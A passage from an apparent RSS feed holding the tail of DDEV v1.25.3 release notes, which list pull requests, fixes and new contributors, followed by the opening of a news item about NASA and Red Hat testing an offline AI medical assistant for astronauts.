<li>feat: allow mutagen with use-hardened-images, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1163134802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3680" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/3680/hovercard" href="https://github.com/ddev/ddev/pull/3680">#3680</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685988680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8491" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8491/hovercard" href="https://github.com/ddev/ddev/pull/8491">#8491</a></li>
<li>feat(docker): respect docker-buildx from snap on linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727709566" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8515" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8515/hovercard" href="https://github.com/ddev/ddev/issues/8515">#8515</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728073401" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8519" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8519/hovercard" href="https://github.com/ddev/ddev/pull/8519">#8519</a></li>
<li>docs: replace newgrp with sg for docker group activation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736396280" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8524" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8524/hovercard" href="https://github.com/ddev/ddev/pull/8524">#8524</a></li>
<li>fix(commands): correct case typo in <code>ddev sequelace</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733613998" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8521" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8521/hovercard" href="https://github.com/ddev/ddev/issues/8521">#8521</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li>build(deps): bump moby and docker-compose by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736239790" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8523" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8523/hovercard" href="https://github.com/ddev/ddev/pull/8523">#8523</a></li>
<li>docs: skip codeberg, use stable link for docs in github workflows (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a></li>
<li>build: remove pin for Node.js, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744191788" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8527" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8527/hovercard" href="https://github.com/ddev/ddev/pull/8527">#8527</a></li>
<li>fix(start): do not ask for poweroff with new ddev-ssh-agent, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732526980" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8520" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8520/hovercard" href="https://github.com/ddev/ddev/issues/8520">#8520</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741864016" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8525" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8525/hovercard" href="https://github.com/ddev/ddev/pull/8525">#8525</a></li>
<li>ci(podman): update workflow for Podman 6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741982501" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8526" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8526/hovercard" href="https://github.com/ddev/ddev/pull/8526">#8526</a></li>
<li>fix(podman): restrict keep-id userns to Linux only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744330972" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8529" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8529/hovercard" href="https://github.com/ddev/ddev/issues/8529">#8529</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727719482" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8516" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8516/hovercard" href="https://github.com/ddev/ddev/pull/8516">#8516</a></li>
<li>docs: Remove link to very old processwire thread (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a></li>
<li>fix: continue when <code>#ddev-generated</code> is missing in generate config functions, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="636509327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2305" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/2305/hovercard" href="https://github.com/ddev/ddev/pull/2305">#2305</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753746905" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8532" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8532/hovercard" href="https://github.com/ddev/ddev/pull/8532">#8532</a></li>
<li>docs: Ignore winaero.com, cert expired [skip buildkite] (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a></li>
<li>ci: add macOS Podman rootless Buildkite pipeline, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a></li>
<li>test(auth-ssh): harden ddevauthssh.expect against passphrase prompt race by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4767122944" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8536" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8536/hovercard" href="https://github.com/ddev/ddev/pull/8536">#8536</a></li>
<li>build: bump actions/cache from 5 to 6 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a></li>
<li>fix: stop honoring XDG_CONFIG_HOME on Linux too, use DDEV_XDG_CONFIG_HOME, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a></li>
<li>fix: correct typos in global and project config comment docs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a></li>
<li>test: fix TestCheckForMultipleGlobalDdevDirs on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a></li>
<li>feat: add x-ddev.omit-ddev-labels to skip com.ddev.* label injection, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390914107" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8389" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8389/hovercard" href="https://github.com/ddev/ddev/issues/8389">#8389</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4778206278" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8540" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8540/hovercard" href="https://github.com/ddev/ddev/pull/8540">#8540</a></li>
<li>build(docker): bump images to v1.25.3 for release, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785709464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8544" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8544/hovercard" href="https://github.com/ddev/ddev/issues/8544">#8544</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787726460" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8547" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8547/hovercard" href="https://github.com/ddev/ddev/pull/8547">#8547</a></li>
<li>ci(buildkite): trim podman machine and run maintenance post-test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a></li>
<li>docs(typo3): require Camino theme, drop empty distribution prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a></li>
<li>docs(hosting): add guidance for Let's Encrypt failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
<li>docs(docker): add Podman and Docker rootless setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549338538" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8434" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8434/hovercard" href="https://github.com/ddev/ddev/issues/8434">#8434</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797374506" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8552" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8552/hovercard" href="https://github.com/ddev/ddev/pull/8552">#8552</a></li>
<li>ci(macos): untap pre-installed aws/tap before brew install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4809536273" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8559" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8559/hovercard" href="https://github.com/ddev/ddev/pull/8559">#8559</a></li>
<li>docs(wsl2): use Ubuntu-26.04 instead of Ubuntu-24.04, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802996009" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8553" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8553/hovercard" href="https://github.com/ddev/ddev/pull/8553">#8553</a></li>
<li>fix(webserver): restore nonstandard router port in HTTP_HOST for nginx-fpm, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806198523" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8554" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8554/hovercard" href="https://github.com/ddev/ddev/issues/8554">#8554</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806397840" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8555" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8555/hovercard" href="https://github.com/ddev/ddev/pull/8555">#8555</a></li>
<li>fix(router): temp pin for traefik:3.6.13, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820038987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8562" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8562/hovercard" href="https://github.com/ddev/ddev/issues/8562">#8562</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821494411" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8564" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8564/hovercard" href="https://github.com/ddev/ddev/pull/8564">#8564</a></li>
<li>fix(shopware): pin Twig &lt;3.28 to work around admin HTTP 500 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807420317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8557" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8557/hovercard" href="https://github.com/ddev/ddev/pull/8557">#8557</a></li>
<li>docs: add TYPO3 special handling for <code>ddev share</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594892063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7799" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7799/hovercard" href="https://github.com/ddev/ddev/issues/7799">#7799</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806999999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8556" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8556/hovercard" href="https://github.com/ddev/ddev/pull/8556">#8556</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.25.2...v1.25.3"><tt>v1.25.2...v1.25.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA and Red Hat are building an open source medical system to diagnose sick astronauts on the ISS — could a Star Trek Tricorder be next?]]></title>
<description><![CDATA[NASA and Red Hat are testing an offline AI medical assistant called CMO-DA to help astronauts diagnose and treat conditions during deep space missions.]]></description>
